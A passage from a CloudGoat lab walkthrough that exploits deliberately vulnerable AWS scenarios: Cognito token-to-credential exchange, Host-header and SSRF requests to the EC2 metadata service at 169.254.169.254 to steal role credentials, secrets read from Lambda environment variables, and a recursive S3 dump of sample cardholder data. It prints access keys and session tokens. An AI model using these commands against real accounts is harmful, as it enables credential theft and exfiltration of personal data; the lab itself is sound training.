        "cognito-idp.us-east-1.amazonaws.com/us-east-1_0NyB14dfp": "eyJraWQiOiJGSFdTMXBjVTIyQ3RvQTF6bVFEVjRQUFN0Z3BlUkFtdktBZE1kV1hvK0J3PSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4ZDEwZjM0NC02NDc4LTRiMTItYmVjMS02OGM2ZDY0MjI1MTgiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfME55QjE0ZGZwIiwiY29nbml0bzp1c2VybmFtZSI6IjhkMTBmMzQ0LTY0NzgtNGIxMi1iZWMxLTY4YzZkNjQyMjUxOCIsImdpdmVuX25hbWUiOiJmb28iLCJjdXN0b206YWNjZXNzIjoiYWRtaW4iLCJvcmlnaW5fanRpIjoiMzRhYWQ4ZGMtNDA2Yy00YmYyLWFmZjEtYzhkOThiYzZkNGY0IiwiYXVkIjoiMThvdjI2NnJqbmp0dmRkNGwybGM0cmo4NCIsImV2ZW50X2lkIjoiODU2NzExMjAtNmZhYi00NmVjLWI3MzMtMzk2NDhmYjhjMzM1IiwidG9rZW5fdXNlIjoiaWQiLCJhdXRoX3RpbWUiOjE2OTMyMjkzOTksImV4cCI6MTY5MzIzMjk5OSwiaWF0IjoxNjkzMjI5Mzk5LCJmYW1pbHlfbmFtZSI6Imlwc3VtIiwianRpIjoiMGE4YjkzMzMtNTU2ZS00ZjEyLWE0NTAtZTJhZmU3OTljNzE0IiwiZW1haWwiOiJmb29AaW5mcmFzZWMuc2gifQ.Np0Liy9iYav6m6bhkzFABF2arc9AFS4AoxC-TMmw9KBOC4dDgmsKD19chpuWBPU6FJQ04kG4mpS2DCK-HHyzcciQEVt8PqdjNmNM3y1MRQoAjHpR2eglq6lBsGqmWR_pYrcnk5qm9tfiD4dnNjTs1vl1Bc2zfzbPDwDpVZuzeQU4tKJe0yHjuFPXQBF0PuHOLG6zGsVaGm6ja9ROHjvK2tsRrOoXref5F91r2Yc8tQcyM2uEb1qC_bPsfvvUFbG93P10ncm4Sfv_GVgf_zw9RYoncx5IX-BmeGto607f8lDY0QWS8FXhV9rKa3IsiYbG6zZzWsd80Hewl6H7m9g4-g"
    }
}

View of hetty interseptor

Next we need to get the cognito identities id.

export IDP_TOKEN='eyJraWQiOiJGSFdTMXBjVTIyQ3RvQTF6bVFEVjRQUFN0Z3BlUkFtdktBZE1kV1hvK0J3PSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4ZDEwZjM0NC02NDc4LTRiMTItYmVjMS02OGM2ZDY0MjI1MTgiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfME55QjE0ZGZwIiwiY29nbml0bzp1c2VybmFtZSI6IjhkMTBmMzQ0LTY0NzgtNGIxMi1iZWMxLTY4YzZkNjQyMjUxOCIsImdpdmVuX25hbWUiOiJmb28iLCJjdXN0b206YWNjZXNzIjoiYWRtaW4iLCJvcmlnaW5fanRpIjoiMzRhYWQ4ZGMtNDA2Yy00YmYyLWFmZjEtYzhkOThiYzZkNGY0IiwiYXVkIjoiMThvdjI2NnJqbmp0dmRkNGwybGM0cmo4NCIsImV2ZW50X2lkIjoiODU2NzExMjAtNmZhYi00NmVjLWI3MzMtMzk2NDhmYjhjMzM1IiwidG9rZW5fdXNlIjoiaWQiLCJhdXRoX3RpbWUiOjE2OTMyMjkzOTksImV4cCI6MTY5MzIzMjk5OSwiaWF0IjoxNjkzMjI5Mzk5LCJmYW1pbHlfbmFtZSI6Imlwc3VtIiwianRpIjoiMGE4YjkzMzMtNTU2ZS00ZjEyLWE0NTAtZTJhZmU3OTljNzE0IiwiZW1haWwiOiJmb29AaW5mcmFzZWMuc2gifQ.Np0Liy9iYav6m6bhkzFABF2arc9AFS4AoxC-TMmw9KBOC4dDgmsKD19chpuWBPU6FJQ04kG4mpS2DCK-HHyzcciQEVt8PqdjNmNM3y1MRQoAjHpR2eglq6lBsGqmWR_pYrcnk5qm9tfiD4dnNjTs1vl1Bc2zfzbPDwDpVZuzeQU4tKJe0yHjuFPXQBF0PuHOLG6zGsVaGm6ja9ROHjvK2tsRrOoXref5F91r2Yc8tQcyM2uEb1qC_bPsfvvUFbG93P10ncm4Sfv_GVgf_zw9RYoncx5IX-BmeGto607f8lDY0QWS8FXhV9rKa3IsiYbG6zZzWsd80Hewl6H7m9g4-g'

aws cognito-identity get-id --region us-east-1 --identity-pool-id us-east-1:eb5e41e7-f3bf-4ce4-acff-9f3668316db2 --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_0NyB14dfp=${IDP_TOKEN}"
# {
#     "IdentityId": "us-east-1:21d20f74-ad1e-4f7c-84a5-6fd903d2b34a"
# }

Finally we can get the credentials of the identity

aws cognito-identity get-credentials-for-identity --region us-east-1 --identity-id 'us-east-1:21d20f74-ad1e-4f7c-84a5-6fd903d2b34a' --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_0NyB14dfp=${IDP_TOKEN}"
# {
#     "IdentityId": "us-east-1:21d20f74-ad1e-4f7c-84a5-6fd903d2b34a",
#     "Credentials": {
#         "AccessKeyId": "ASIAZ6IIT5XU525TYFDL",
#         "SecretKey": "Td7zQJ9RNk7uR+/CCld03XDNHs0D25Y3OZIW8+sV",
#         "SessionToken": "IQoJb3JpZ2luX2VjEMb//////////wEaCXVzLWVhc3QtMSJIMEYCIQDvS7LHI16Dx2DDc+6xuxzQKDChPnE/1idvrY97E9A9LgIhAIl494KZ6ZMUa1Uj9VSQ9CVO6BE3HmwVwZQRnWXrP7VYKs0ECI///////////wEQAhoMNjgzNDU0NzU0MjgxIgwL6Yj+IOf1XgywprQqoQQJhivUXDiArSnyMVgnU/n6IcILeBqv3Zuzq83mQsqRVuIVXwOHvZTJ3xu5tp7PD09FwQPMzr41mLT+kJ08ekuN3cjjL5Ea7Eq1cJp8p/TtTPLR1yd5oiIAy8ZMFskMGr/LqC8QLOvvWM/qnL30QV1zyTf7q7IKaVI7r/Qx9OIyF43/wP2pD1GfRR0+y2JVvIUqWuFVx+xC6hj7PBiIX2A84B4vicBbDdZbe+Dn6yCiYKlT3wtiaTVfeiq1YGrFT9D76ki0WxcA/lBEebU5NYo2kKHjyGhfBXTBqSkooy3JKEcT6Bql7sCiEjrMIeMApsrafb5/eAPF0FTPdNfd6c1BRqDILgBozSvp+eN45QQdupHk/VBbpOiCpU+8QyZ/wZiC5t2neXpjFnL4WldCwCuKDOq5WKPgao+p0hWEu+HuhIYrvztrw6OOBe44jcH7nsvV4cDjPM0UPxur//93POfqwXsWfZ3NcDBmwCW5o2AdJwerEKkQ8gLPUi3rPcRDSQGmSe6+GYa7LFlPfC7XEXedz3/NSMQZ8xCWckOTKJ+YT86h/DYxNb5JR+jcylkuyaeAY65qU9VoCypgRLKJPLN93n1PTTSfx+kLGRIRDCEBErR1BaDbFzssxgXEJsRwO9CXPlRtkkY0g4mHy8lRmxgaW5ikXzyvgFCAU6ORSD4QifPmFCnfyW7VxJhnDGSxWmyRPcrpsEVQVeA5pSyWV1m7gzC+xbKnBjqEApvGlUx8PoPTgtFXeMJRyekbhmIhaUBZYXb8Prr4yqJpb54hakEdc7bFTx7pf0z8yZfNHsDfFrIihGEOc87kIPE16Kb/MSCEWEoFJZM8Yfq9leHC9t0osz+hK60ROpyECA8+fC217aP0faKKDDTv36/gMUY+PBMdClINSr/dgyrDEcKwI3b7rj1irLk7awkZe+OPtadZ5RfDxpG2bEtEa90xjT38GpMVpBzkqHbPV2C4BtVz458GmzM41aXf7O/wXf8OTmNM+572cQS7TRhSc2OktBuTlUhJyOTnHC682pPHQYss+b20i7HWbtQEege89hvQLg9eVd/tZPwKrUepIdBnCzyq",
#         "Expiration": "2023-08-28T10:35:58-04:00"
#     }
# }

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU525TYFDL
export AWS_SECRET_ACCESS_KEY=Td7zQJ9RNk7uR+/CCld03XDNHs0D25Y3OZIW8+sV
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEMb//////////wEaCXVzLWVhc3QtMSJIMEYCIQDvS7LHI16Dx2DDc+6xuxzQKDChPnE/1idvrY97E9A9LgIhAIl494KZ6ZMUa1Uj9VSQ9CVO6BE3HmwVwZQRnWXrP7VYKs0ECI///////////wEQAhoMNjgzNDU0NzU0MjgxIgwL6Yj+IOf1XgywprQqoQQJhivUXDiArSnyMVgnU/n6IcILeBqv3Zuzq83mQsqRVuIVXwOHvZTJ3xu5tp7PD09FwQPMzr41mLT+kJ08ekuN3cjjL5Ea7Eq1cJp8p/TtTPLR1yd5oiIAy8ZMFskMGr/LqC8QLOvvWM/qnL30QV1zyTf7q7IKaVI7r/Qx9OIyF43/wP2pD1GfRR0+y2JVvIUqWuFVx+xC6hj7PBiIX2A84B4vicBbDdZbe+Dn6yCiYKlT3wtiaTVfeiq1YGrFT9D76ki0WxcA/lBEebU5NYo2kKHjyGhfBXTBqSkooy3JKEcT6Bql7sCiEjrMIeMApsrafb5/eAPF0FTPdNfd6c1BRqDILgBozSvp+eN45QQdupHk/VBbpOiCpU+8QyZ/wZiC5t2neXpjFnL4WldCwCuKDOq5WKPgao+p0hWEu+HuhIYrvztrw6OOBe44jcH7nsvV4cDjPM0UPxur//93POfqwXsWfZ3NcDBmwCW5o2AdJwerEKkQ8gLPUi3rPcRDSQGmSe6+GYa7LFlPfC7XEXedz3/NSMQZ8xCWckOTKJ+YT86h/DYxNb5JR+jcylkuyaeAY65qU9VoCypgRLKJPLN93n1PTTSfx+kLGRIRDCEBErR1BaDbFzssxgXEJsRwO9CXPlRtkkY0g4mHy8lRmxgaW5ikXzyvgFCAU6ORSD4QifPmFCnfyW7VxJhnDGSxWmyRPcrpsEVQVeA5pSyWV1m7gzC+xbKnBjqEApvGlUx8PoPTgtFXeMJRyekbhmIhaUBZYXb8Prr4yqJpb54hakEdc7bFTx7pf0z8yZfNHsDfFrIihGEOc87kIPE16Kb/MSCEWEoFJZM8Yfq9leHC9t0osz+hK60ROpyECA8+fC217aP0faKKDDTv36/gMUY+PBMdClINSr/dgyrDEcKwI3b7rj1irLk7awkZe+OPtadZ5RfDxpG2bEtEa90xjT38GpMVpBzkqHbPV2C4BtVz458GmzM41aXf7O/wXf8OTmNM+572cQS7TRhSc2OktBuTlUhJyOTnHC682pPHQYss+b20i7HWbtQEege89hvQLg9eVd/tZPwKrUepIdBnCzyq

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XUVHR4OE5SA:CognitoIdentityCredentials",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cognito_authenticated-vulnerable_cognito_cgidxdpffgo2ji/CognitoIdentityCredentials"
# }
Cleanup
./cloudgoat.py destroy vulnerable_cognito

Cloud Breach S3

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/cloud_breach_s3/README.md

./cloudgoat.py create cloud_breach_s3
# cloudgoat_output_target_ec2_server_ip = "3.92.59.7"

Trying to connect to it over a web browser returns a blank page. Lets try from the command line

curl 3.92.59.7
# <h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>

Lets try adding a host header on the curl command

curl --header 'host: 3.92.59.7' 3.92.59.7
# <h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>

curl --header 'host: localhost' 3.92.59.7
# <h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>

curl --header 'host: 169.254.169.254' 3.92.59.7
# 1.0
# 2007-01-19
# 2007-03-01
# 2007-08-29
# 2007-10-10
# 2007-12-15
# 2008-02-01
# 2008-09-01
# 2009-04-04
# 2011-01-01
# 2011-05-01
# 2012-01-12
# 2014-02-25
# 2014-11-05
# 2015-10-20
# 2016-04-19
# 2016-06-30
# 2016-09-02
# 2018-03-28
# 2018-08-17
# 2018-09-24
# 2019-10-01
# 2020-10-27
# 2021-01-03
# 2021-03-23
# 2021-07-15
# 2022-07-09
# 2022-09-24
# latest

We got something different when querying the instance metadata server.

curl --header 'host: 169.254.169.254' 3.92.59.7/latest
# dynamic
# meta-data
# user-data

Lets try to get some AWS credentials from the metadata service.

curl --header 'host: 169.254.169.254' 3.92.59.7/latest/meta-data/iam/security-credentials/
# cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922

curl --header 'host: 169.254.169.254' 3.92.59.7/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922/
# {
#   "Code" : "Success",
#   "LastUpdated" : "2023-08-30T13:14:20Z",
#   "Type" : "AWS-HMAC",
#   "AccessKeyId" : "ASIAZ6IIT5XU6UCR6LU2",
#   "SecretAccessKey" : "vOPSIH0EGpfR9gg31v5YvL4spe3JGgPMv97CTRYJ",
#   "Token" : "IQoJb3JpZ2luX2VjEPb//////////wEaCXVzLWVhc3QtMSJIMEYCIQDo6KpjSrmJjj+H3HcSX26/Vsmf70KtItQUXz+C3D7D/wIhAMbWa0vU47ol27JJizA4ZS88wraB37coG2vJ6g+Omom7KsQFCL7//////////wEQAhoMNjgzNDU0NzU0MjgxIgzUKoi5jLbmKup5Up8qmAVWQwTo6t9apdGkaJW2Kz6E80gwJOMGVdPafQ0vF1+LkosuHANsi5sfbhQBi0bIQPz6bN1Z0p6lkuiEC7eMUcxknX3D0T6RWFfgu+4PEnf6jRH3fhi04T+AJ/rzq88kvLN/PAf7yWKK7dqXnlIGWusj6LqUP0hsC2dbX3ykiVC646Am/1fQgHk2PfUDXClDJvztv2eCc0u5PR0h5K7E7QvNp2BQ2fAJWwjs0zvAeWtdvSago5N2J97McDg4raE35BVI2DZF2FTd3Pdmb2TJwZM8CmOnYgtrqJ61bACwz5RLmMd2x4EH8gBq8gvBTkvO8hmh7OPZtqBlsG6dtxzbDDEPFldRlBYy/pHqROmSQSFqNdmjXnR8JFgdrr7POBnOH42Df144iwg/Je98xMyr+nwYcj+eTLUvQebxsjn+q6QkOg78HI2rLlvYm617ls9Ya7TcQ6k4DnhEUrKC3rY5KnurB8jYmVYgGFV29okFjGxYAvkYzzcQKsJYeh9R/5dPp71QlF652hc09g90Ry0qKH8mru6Xo9br6iR0RQ621jZPEfdSwO1ca/QFmWGQCxZAotA0aflR/D4NLiRllpWY+hOginP52GOxv2XpPrg+W8qr+PPhj05hQtGOmb9BY9XJeaSM2MYgxIxT9XchBolrm5ohANXZQGZBrpwg4LbfIgtUmPoPaUaT4zusfrHm+MXXNckEDR82+oqmERPV3iOfWIvqt+GtYn5pvbmgCEgulaSTAK5xJiQcrk6lwxJodudUbcroo9kTHEpc5U07/Av3HOMk6uQWx2/LNu4FBVyMAa8WMUMOIDhI9XUM3Zje/ERWQrENKkvihQvZGVb9kfin6nrqquw2Pho2jrglVWZexB89Kr88euNrTg+QML6BvacGOrABHEOx722uVl58zHTm/iGJCSX4YbchhvNpbbs6E0mRkSEdDxiyomR6UmO7k9SigeOsV1vGNOa63Glmko8Sshoty47LFyOE61RjrmS/eDyGek9SiFfilaZZExzh1HJFjWdW4XwY52xlOmT312QnzRjqIuX/FatlJkzLuYc5OQmHQ+UGMLg7dggzSNv0tZbqVMxIy07+HrwPZrGWpWO6Fnz54G205r0mnJ4daXV4Bwa3IY0=",
#   "Expiration" : "2023-08-30T19:49:38Z"
# }

Perfect lets now copy the credentials into our local environemnt.

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU6UCR6LU2
export AWS_SECRET_ACCESS_KEY=vOPSIH0EGpfR9gg31v5YvL4spe3JGgPMv97CTRYJ
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPb//////////wEaCXVzLWVhc3QtMSJIMEYCIQDo6KpjSrmJjj+H3HcSX26/Vsmf70KtItQUXz+C3D7D/wIhAMbWa0vU47ol27JJizA4ZS88wraB37coG2vJ6g+Omom7KsQFCL7//////////wEQAhoMNjgzNDU0NzU0MjgxIgzUKoi5jLbmKup5Up8qmAVWQwTo6t9apdGkaJW2Kz6E80gwJOMGVdPafQ0vF1+LkosuHANsi5sfbhQBi0bIQPz6bN1Z0p6lkuiEC7eMUcxknX3D0T6RWFfgu+4PEnf6jRH3fhi04T+AJ/rzq88kvLN/PAf7yWKK7dqXnlIGWusj6LqUP0hsC2dbX3ykiVC646Am/1fQgHk2PfUDXClDJvztv2eCc0u5PR0h5K7E7QvNp2BQ2fAJWwjs0zvAeWtdvSago5N2J97McDg4raE35BVI2DZF2FTd3Pdmb2TJwZM8CmOnYgtrqJ61bACwz5RLmMd2x4EH8gBq8gvBTkvO8hmh7OPZtqBlsG6dtxzbDDEPFldRlBYy/pHqROmSQSFqNdmjXnR8JFgdrr7POBnOH42Df144iwg/Je98xMyr+nwYcj+eTLUvQebxsjn+q6QkOg78HI2rLlvYm617ls9Ya7TcQ6k4DnhEUrKC3rY5KnurB8jYmVYgGFV29okFjGxYAvkYzzcQKsJYeh9R/5dPp71QlF652hc09g90Ry0qKH8mru6Xo9br6iR0RQ621jZPEfdSwO1ca/QFmWGQCxZAotA0aflR/D4NLiRllpWY+hOginP52GOxv2XpPrg+W8qr+PPhj05hQtGOmb9BY9XJeaSM2MYgxIxT9XchBolrm5ohANXZQGZBrpwg4LbfIgtUmPoPaUaT4zusfrHm+MXXNckEDR82+oqmERPV3iOfWIvqt+GtYn5pvbmgCEgulaSTAK5xJiQcrk6lwxJodudUbcroo9kTHEpc5U07/Av3HOMk6uQWx2/LNu4FBVyMAa8WMUMOIDhI9XUM3Zje/ERWQrENKkvihQvZGVb9kfin6nrqquw2Pho2jrglVWZexB89Kr88euNrTg+QML6BvacGOrABHEOx722uVl58zHTm/iGJCSX4YbchhvNpbbs6E0mRkSEdDxiyomR6UmO7k9SigeOsV1vGNOa63Glmko8Sshoty47LFyOE61RjrmS/eDyGek9SiFfilaZZExzh1HJFjWdW4XwY52xlOmT312QnzRjqIuX/FatlJkzLuYc5OQmHQ+UGMLg7dggzSNv0tZbqVMxIy07+HrwPZrGWpWO6Fnz54G205r0mnJ4daXV4Bwa3IY0=

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XU5WZ6TSYGX:i-0a19fe78ade3241a7",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922/i-0a19fe78ade3241a7"
# }

Now that we have credentials lets find what access we have…

aws iam list-attached-role-policies --role-name cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922
# No Access

aws iam list-role-policies --role-name cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922
# No Access

No access. Knowing that we have to download files from S3 lets see if we can view buckets.

aws s3 ls
# 2023-08-30 09:14:23 cg-cardholder-data-bucket-cloud-breach-s3-cgidpj2qm7k922

aws s3 ls cg-cardholder-data-bucket-cloud-breach-s3-cgidpj2qm7k922
# 2023-08-30 09:14:24      58872 cardholder_data_primary.csv
# 2023-08-30 09:14:24      59384 cardholder_data_secondary.csv
# 2023-08-30 09:14:24      92165 cardholders_corporate.csv
# 2023-08-30 09:14:25     249500 goat.png

mkdir s3_dump

aws s3 cp --recursive 's3://cg-cardholder-data-bucket-cloud-breach-s3-cgidpj2qm7k922' s3_dump/

ls -l s3_dump
# total 912
# -rw-r--r--@ 1 host  staff   58872 Aug 30 09:14 cardholder_data_primary.csv
# -rw-r--r--@ 1 host  staff   59384 Aug 30 09:14 cardholder_data_secondary.csv
# -rw-r--r--@ 1 host  staff   92165 Aug 30 09:14 cardholders_corporate.csv
# -rw-r--r--@ 1 host  staff  249500 Aug 30 09:14 goat.png

head s3_dump/cardholder_data_primary.csv
# ssn,id,first_name,last_name,email,gender,ip_address,address,city,state,zip
# 287-43-8531,1,Cooper,Luffman,[email protected],Male,194.222.101.195,2 Killdeer Way,Atlanta,Georgia,30343
# 892-80-0931,2,Grata,Pulteneye,[email protected],Female,161.4.88.129,486 Butterfield Crossing,Washington,District of Columbia,20503
# 502-50-6643,3,Rogerio,Glover,[email protected],Male,88.58.129.152,3 Granby Circle,Sacramento,California,94280
# 238-57-8444,4,Melisandra,Gunstone,[email protected],Female,56.162.161.35,68294 Schiller Lane,Washington,District of Columbia,20319
# 127-05-5515,5,Michail,McKune,[email protected],Male,69.210.227.104,2 Bayside Way,Birmingham,Alabama,35263
# 214-11-1791,6,Bari,Mont,[email protected],Female,208.57.174.207,6837 Sugar Court,Los Angeles,California,90015
# 501-58-1290,7,Sollie,Angear,[email protected],Male,39.78.158.172,0 Portage Center,Hartford,Connecticut,6145
# 242-23-0804,8,Retha,Dyka,[email protected],Female,254.159.96.156,1 Sauthoff Lane,Pompano Beach,Florida,33064
# 898-84-8195,9,Nerissa,Thorwarth,[email protected],Female,106.219.0.76,9248 Eagle Crest Point,Louisville,Kentucky,40287

Perfect, we have not stollen the data!

Cleanup
rm -r s3_dump

./cloudgoat.py destroy cloud_breach_s3

EC2 SSRF

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/ec2_ssrf/README.md

./cloudgoat.py create ec2_ssrf
# cloudgoat_output_solus_access_key_id = AKIAZ6IIT5XUU6OQENGH
# cloudgoat_output_solus_secret_key = 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

In a new terminal export the credentials and view the user

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUU6OQENGH
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUWHUXW2URD",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/solus-ec2_ssrf_cgidvxydcyqljq"
# }

Lets try to access our permissions

aws iam list-attached-user-policies --user-name solus-ec2_ssrf_cgidvxydcyqljq
# No Access

aws iam list-user-policies --user-name solus-ec2_ssrf_cgidvxydcyqljq
# No Access

aws lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "cg-lambda-ec2_ssrf_cgidvxydcyqljq",
            "FunctionArn": "arn:aws:lambda:us-east-1:0123456789:function:cg-lambda-ec2_ssrf_cgidvxydcyqljq",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::0123456789:role/cg-lambda-role-ec2_ssrf_cgidvxydcyqljq-service-role",
            "Handler": "lambda.handler",
            "CodeSize": 223,
            "Description": "",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2023-08-30T15:34:20.723+0000",
            "CodeSha256": "xt7bNZt3fzxtjSRjnuCKLV/dOnRCTVKM3D1u/BeK8zA=",
            "Version": "$LATEST",
            "Environment": {
                "Variables": {
                    "EC2_ACCESS_KEY_ID": "AKIAZ6IIT5XU2GXCSDTI",
                    "EC2_SECRET_KEY_ID": "CXB1yEXVKRbPX2HyYx546+zqz3fhkrWz2hCIn8dH"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "fd5ade98-3dd4-4651-ad67-ec7a4b8f61ce",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            }
        }
    ]
}

Oooo access keys in environment variables, lets test them out

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU2GXCSDTI
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUXROFZ3H64",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/wrex-ec2_ssrf_cgidvxydcyqljq"
# }

New users creds for wrex-ec2_ssrf_cgidvxydcyqljq lets see what perms they have.

aws iam list-attached-user-policies --user-name wrex-ec2_ssrf_cgidvxydcyqljq
# No Access

aws iam list-user-policies --user-name wrex-ec2_ssrf_cgidvxydcyqljq
# No Access

aws lambda list-functions
# No Access

aws ec2 describe-instances
[{...}]

We have access to viewing servers, lets save some of the information

InstanceID: i-06a297e8e278f4152
PrivateIpAddress: 10.10.10.244
PublicIpAddress: 54.175.36.48
IamInstanceProfile: {
  Arn: arn:aws:iam::0123456789:instance-profile/cg-ec2-instance-profile-ec2_ssrf_cgidvxydcyqljq
  Id:AIPAZ6IIT5XU47QU3SH2N
}

Lets see if we can get any information from the website (54.175.36.48).

curl 54.175.36.48
# <!DOCTYPE html>
# <html lang="en">
# <head>
# <meta charset="utf-8">
# <title>Error</title>
# </head>
# <body>
# <pre>TypeError: URL must be a string, not undefined<br> &nbsp; &nbsp;at new Needle (/node_modules/needle/lib/needle.js:147:11)<br> &nbsp; &nbsp;at Function.module.exports.(anonymous function) [as get] (/node_modules/needle/lib/needle.js:819:12)<br> &nbsp; &nbsp;at /home/ubuntu/app/ssrf-demo-app.js:32:12<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/node_modules/express/lib/router/route.js:144:13)<br> &nbsp; &nbsp;at Route.dispatch (/node_modules/express/lib/router/route.js:114:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /node_modules/express/lib/router/index.js:284:15<br> &nbsp; &nbsp;at Function.process_params (/node_modules/express/lib/router/index.js:346:12)<br> &nbsp; &nbsp;at next (/node_modules/express/lib/router/index.js:280:10)</pre>
# </body>
# </html>

View of the website from a browser

Lets add a url and retry the request

curl '54.175.36.48?url=169.254.169.254'
# <h1>Welcome to sethsec's SSRF demo.</h1>

# <h2>I am an application. I want to be useful, so I requested: <font color="red">169.254.169.254</font> for you
# </h2><br><br>

# 1.0
# 2007-01-19
# 2007-03-01
# 2007-08-29
# 2007-10-10
# 2007-12-15
# 2008-02-01
# 2008-09-01
# 2009-04-04
# 2011-01-01
# 2011-05-01
# 2012-01-12
# 2014-02-25
# 2014-11-05
# 2015-10-20
# 2016-04-19
# 2016-06-30
# 2016-09-02
# 2018-03-28
# 2018-08-17
# 2018-09-24
# 2019-10-01
# 2020-10-27
# 2021-01-03
# 2021-03-23
# 2021-07-15
# 2022-07-09
# 2022-09-24
# latest

With the requests being proxied to the instance metadata server we can steal credentials

curl '54.175.36.48?url=169.254.169.254/latest/meta-data/iam/security-credentials/'
# <h1>Welcome to sethsec's SSRF demo.</h1>

# <h2>I am an application. I want to be useful, so I requested: <font color="red">169.254.169.254/latest/meta-data/iam/security-credentials/</font> for you
# </h2><br><br>

# cg-ec2-role-ec2_ssrf_cgidvxydcyqljq

curl '54.175.36.48?url=169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidvxydcyqljq/'
# {
#   "Code" : "Success",
#   "LastUpdated" : "2023-08-30T15:34:42Z",
#   "Type" : "AWS-HMAC",
#   "AccessKeyId" : "ASIAZ6IIT5XUZD4YLGOP",
#   "SecretAccessKey" : "CQv7E1jnOJe65P/G0Y8lWG8+Urb2T5iK58tdRCoT",
#   "Token" : "IQoJb3JpZ2luX2VjEPj//////////wEaCXVzLWVhc3QtMSJGMEQCIAlmisv976K4apgKJsmzPYo9ySvQMzIR3qUrHoHwdEhgAiBD8Ai8ND2+7gM/uKc1dkZdIe8Noc3NjHwZTSmMGUhazCrEBQjB//////////8BEAIaDDY4MzQ1NDc1NDI4MSIMX5DadwM4cvb794ItKpgFdHWl0mNZpOA/t8dToOCKd0ldo5pUovCm+SNlo3wq32ESFQYQp+C4vbD3beXdkSMLuB3IjbdOmdCqj0O6kYvfhpCdEZhWEGP9VEI74dRebitrsm0/hMBA2K5eHa6qgwWc7ZJZS6Ea5rQmgzYRIWemIBFatpWBgxLGw2+wIWJPfSrYvi2teo5qD706DAgPl/s9vHl+aCkCswj89w1nYet+JQQEppuxmn+oqntA/UbNW9/q9piJMKoWHCD+uNuU5lJe68XmkDlJ5JbN/cI9wUB4CKwv8zvbIP2BDcTfWdwT8PJ0Hd5mgRCqDdaEyz5uhW6eUAwLBaYBuv7N5FjuG6hFWj1EtCMzyzhIws0wTr7p6lv9BxtcEsm1askSDcoHM35pQdymKZmxZ9SImLVzTRmGICn0/wVDKZWoiBkYArNPVNQUxAuhzGLHevEHX09E6wYGY4w3I1pVKLRv50GNQSyHUh3HP8clP5MHCgNPkNqWyOpsK4cDc2QwHknNTJAwD5h4xHPi5JpBvkH5+NfLSCOGgMomVlWJiAeGtosdS2AhtLqR0rjOVmAtaUfBBIjb6F3qTGKJml+qU9W0G5NKWa0nXaj0ceU8KqYJ9PHnddgON5UqJbldf1GT6PcCaubSl9JCi5ebv82P9lp918V7vSAXZlheGFgqToWC0Jts83Sx+/abSyxhPkck3O3lObz4EbQ+O0MPBF/UPopjwz6D+dVdhY6A8n7TG7mqUDGNDGW2PbaxqgbNHLioWHGSS3YirIdVxpR23gcFGokjxhLUaX0dlxekIc31BdnU5lGhHHGDpAgNyVn9zhv258qAlRIDPsVbeSqVLoazZUUWNRLZMGQYBm84iWP6Ju5lVoH6lqrnvlvKJ4AKUsyD6zCQw72nBjqyASJJrKCM7sYS3wYBVV71z9ezNzRmHYV4QTEZzGt2EXyoo1eaWyt/CQy7UuH7nrPwrgUZ0p5pJ2wIAjZbHq2yszj1/O9qZQ5W9RKgjWek8TqKc7QP+7nwjr4r42Drdf3QDaVboIEvb8N/KGLpVum0DPLDzPzsHEyyviX8HAd85mX6Okh4TnogJA5LHGnMZfWjegIk8goh/Wa3ouesASoHR+MYSXvbdvGs9ZPQRyVQvjQfVoU=",
#   "Expiration" : "2023-08-30T22:09:40Z"
# }

Take the credentials and put them in our local shell.

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XUZD4YLGOP
